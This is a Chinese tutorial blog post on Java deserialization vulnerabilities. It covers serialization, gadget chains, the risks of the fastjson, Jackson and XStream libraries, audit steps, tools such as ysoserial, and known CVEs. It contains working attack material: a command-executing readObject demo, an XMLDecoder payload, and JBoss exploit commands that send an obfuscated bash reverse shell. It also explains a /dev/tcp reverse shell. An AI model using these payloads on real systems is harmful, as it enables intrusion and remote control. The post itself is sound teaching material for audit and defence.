JAVA反序列化漏洞_基础篇

1. JAVA反序列化概述

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存或文件中,实现跨平台通讯和持久化存储。ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化则指把字节序列恢复为 Java 对象的过程,相应的,ObjectInputStream 类的 readObject() 方法用于反序列化。

1.1 反序列化代码

package test;

import java.io.*;

public class Serialize {
        public static void main(String args[])throws Exception{
            //定义obj对象
//            String obj="hello world!";
            MyObject myObject=new MyObject();
            myObject.name="hello world!";
            //创建一个包含对象进行反序列化信息的”object”数据文件
            FileOutputStream fos=new FileOutputStream("object");
            ObjectOutputStream os=new ObjectOutputStream(fos);
            //writeObject()方法将obj对象写入object文件
            os.writeObject(myObject);
            os.close();
            //从文件中反序列化obj对象
            FileInputStream fis=new FileInputStream("object");
            ObjectInputStream ois=new ObjectInputStream(fis);
            //恢复对象
            MyObject obj2=(MyObject)ois.readObject();
            System.out.print(obj2);
            ois.close();
        }
}
class MyObject implements Serializable {//只有实现了Serializable接口的类的对象才可以被序列化
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        Runtime.getRuntime().exec("cmd.exe /c start dir");
    }
}

从demo中可以看出,java类对象要实现反序列化,该类必须实现 java.io.Serializable接口,并且一般会调用readObect方法,该方法的实现容易引发漏洞。除了readObect,有时也会用到readUnshared方法,与readObect不同的是,此方法不允许后续的readObect/readUnshared调用此次反序列化得到的对象。
上述demo只是一个样例,实战中真正出现漏洞的情况一般有以下几种:
(1)重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
(2)使用第三方的类进行黑名单控制。容易存在漏网之鱼,如果后期添加了新的功能,还可能引入了新的漏洞利用方式。
(3)使用了不安全的基础库。

commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE

1.2 POP Gadgets

POP,Property-Oriented Programming,即面向属性编程,常用于上层语言构造特定调用链的方法。Gadgets意味小工具,所以POP Gadgets可以理解为面向属性编程的利用工具或利用链。

1.3 反序列化漏洞检测流程

(1)反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
(2)找到对应的功能模块后,检索源码中对反序列化函数的调用来静态寻找反序列化的输入点,如以下函数

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

(3)确定了反序列化输入点后,查看应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可),若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。若包含危险库,则使用ysoserial进行攻击。

2. JAVA对象格式与序列化

2.1 json

JSON是一种轻量级的数据交换格式,基于“键/值”对,结构可以进行嵌套。主流JSON库包含GSON、Jackson、Fastjson。


json反序列化类图

2.1.1 GSON

而GSON是Google公司发布的开源JAVA库,主要用于序列化JAVA对象为JSON字符串,或反序列化JSON字符串成JAVA对象。Gson提供了toJson与fromJson两个转换函数,实现JSON字符串和Java对象的转换。

Student stu=new Student(0;
Gson gson=new Gson();
//Object->json
String json=gson.toJson(stu);
//json->Object
Student stu2=gson.formJson(json,Student.class);

GSON会用到默认构造函数,如果没有默认构造函数会调用sun.misc.Unsafe生成一个实例,默认反序列化的类型包含:String、URL、Date、Enum等,在TypeAdapter初始化,如果超出基本类型要自己实现反序列化机制。

2.1.2 fastjson

fastjson主要提供两个接口toJsonString和parseObject来实现序列化和反序列化,maven配置文件如下

//fastjson<1.2.24存在反序列化漏洞
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>

fastjson使用方法如下:(其中JSONObject可换为JSON)


fastjson demo

fastjson采用无参默认构造方法或者注解绑定。Feature.SupportNonPublicField才能打开非公有属性的反序列化处理。@type可以指定反序列化的任意类,调用其set、get、is方法。

{“@type”:”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,”name”:”a”…}

2.1.3 jackson

受影响版本:
Jackson Version 2.7.* < 2.7.10
Jackson Version 2.8.* < 2.8.9

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.10.0</version>
</dependency>
<!--注解部分-->
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-annotations</artifactId>  
    <version>2.10.0</version>  
</dependency> 
ObjectMapper mapper=new ObjectMapper();
String jsonInput="{\"id\":0,\"firstName\":\"Robin\",\"lastName\":\"Wilson\"}";
Person per1=mapper.readValue(jsonInput,Person.class);
Person per2=new Person("Roger","Rabbit");
mapper.writeValue(System.out,per2);

Jackson采用无参默认构造方法,不会反序列化非Public属性,除非有相应的setter或者getter或者相应的注解@JsonAutoDetect。如果启动enableDefaultTyoing方法,允许存储具体数据类型以便多态类型实现反序列化。

2.1.4 JSON反序列化防范

GSON基本没有安全风险,Jackson不使用enableDefaultTyping方法,Fastjson不要启用autotype,若开启autotype选用黑名单策略,依旧有绕过风险。其他json库如json-io或Kryo也不是很安全。

2.2 XML

2.2.1 XStream

XStream使用toXML方法获取对象的XML表示,使用fromXML方法来反序列化XML得到JAVA对象。
XStream配置如下:

    <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.10</version>
    </dependency>

XStream使用方法如下


XStream序列化与反序列化

2.2.2 XMLDecoder

package test;

import com.thoughtworks.xstream.XStream;
import org.example.domain.Student;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;

public class XML {
    public static void XMLDecode_Deserialize(String path) throws Exception {
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xd = new XMLDecoder(bis);
        Object content=xd.readObject();
        System.out.println(content);
        xd.close();
    }

    public static void main(String[] args) {
        //XMLDecode Deserialize Test
        String path = "src/main/resources/test.xml";
        try {
            XMLDecode_Deserialize(path);
        } catch (Exception e) {
            e.printStackTrace();
        }
}
//test.xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start" />
    </object>
</java>

3. JAVA反序列化工具

JAVA常见的反序列化工具包含Freddy/ysoserial/marshalsec等

3.1 ysoserial

ysoserial的github地址:https://github.com/frohoff/ysoserial,使用方法如下:

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]',
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

3.2 Freddy

https://github.com/bignerdranch/Freddy

3.3 marshalsec

https://github.com/mbechler/marshalsec,要注意的是,使用此工具,java版本需在8以上。

java -cp target / marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec。< Marshaller > [-a] [-v] [-t] [ < gadget_type > [ <参数... > ]]

3.4 其他工具

shell命令转换器
http://www.jackson-t.ca/runtime-exec-payloads.html
经典漏洞POC
https://github.com/joaomatosf/JavaDeserH2HC
JAVA反序列化终极测试工具:DeserializeExploit.jar
JMS利用
https://github.com/matthiaskaiser/jmet

3.5 工具使用demo—以JBoss 5.x/6.x (CVE-2017-12149)为例

漏洞点:

漏洞点

JavaDeserH2HC_payload:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ubuntu_ip:listener_port
curl http://Jboss_ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

ysoserial_payload:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjE0NC8yMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
curl http://Jboss_ip:port/invoker/readonly --data-binary @poc.ser

攻击者开启nc -lvvp port(端口),进行监听,接收反弹shell。端口简单操作命令如下

netstat -tln查看被占用的端口
lsof -i :21 查看端口所在进程
kill -9 3907 结束进程
kill %1 结束刚才开放的监听端口

4. 反弹shell

反弹shell命令如下:

bash -i >& /dev/tcp/ip/port 0>&1

其中文件描述符解释如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

>&的含义是,当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符。
所以上述shell命令的理解是:bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

5. JAVA反序列化漏洞典型案例

(1)ActiveMQ(CVE-2015-5254)
(2)fastJson (CVE-2017-17485 ,fastjson <= 1.2.24,补丁绕过CVE-2017-17485)
(3)JBoss JMXInvokerServlet
(4)JBoss 4.x JBossMQ JMS (CVE-2017-7504)
(5)Jmeter RMI(CVE-2018-1297)
(6)Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
(7)Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
(8)Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
其他:
weblogic:CVE-2015-4852、CVE-2016-0638
XMLDecoder:CVE-2017-3506、CVE-2017-10271(CVE-2017-3506的绕过)、CVE-2017-3248、CVE-2018-2628

参考资料

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://paper.seebug.org/623/#11
Java_JSON反序列化之殇_看雪安全开发者峰会

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容

  • 4.3.1. 基本概念 4.3.1.1. JVM   JVM是Java平台的核心,以机器代码来实现,为程序执行提供...
    最酷的崽_ec69阅读 731评论 0 0
  • Java的JSON库有很多,本文分析google的Gson和alibaba的fastjson,在Java泛型场景反...
    jerryxgh阅读 3,515评论 0 1
  • 1、前言 《手册》第 9 页 “OOP 规约” 部分有一段关于序列化的约定 1: 【强制】当序列化类新增属性时,请...
    sakura579阅读 732评论 0 0
  • 1、引言 《手册》第 9 页 “OOP 规约” 部分有一段关于序列化的约定 1: 【强制】当序列化类新增属性时,请...
    chen_chen_chen_阅读 475评论 0 1
  • 这两天面试都没什么成果 开始对未来产生了极大的迷惑 找了很多文章想给自己动力勇气 基本上家家有本难念的经 毕竟别人...
    芜己阅读 184评论 0 1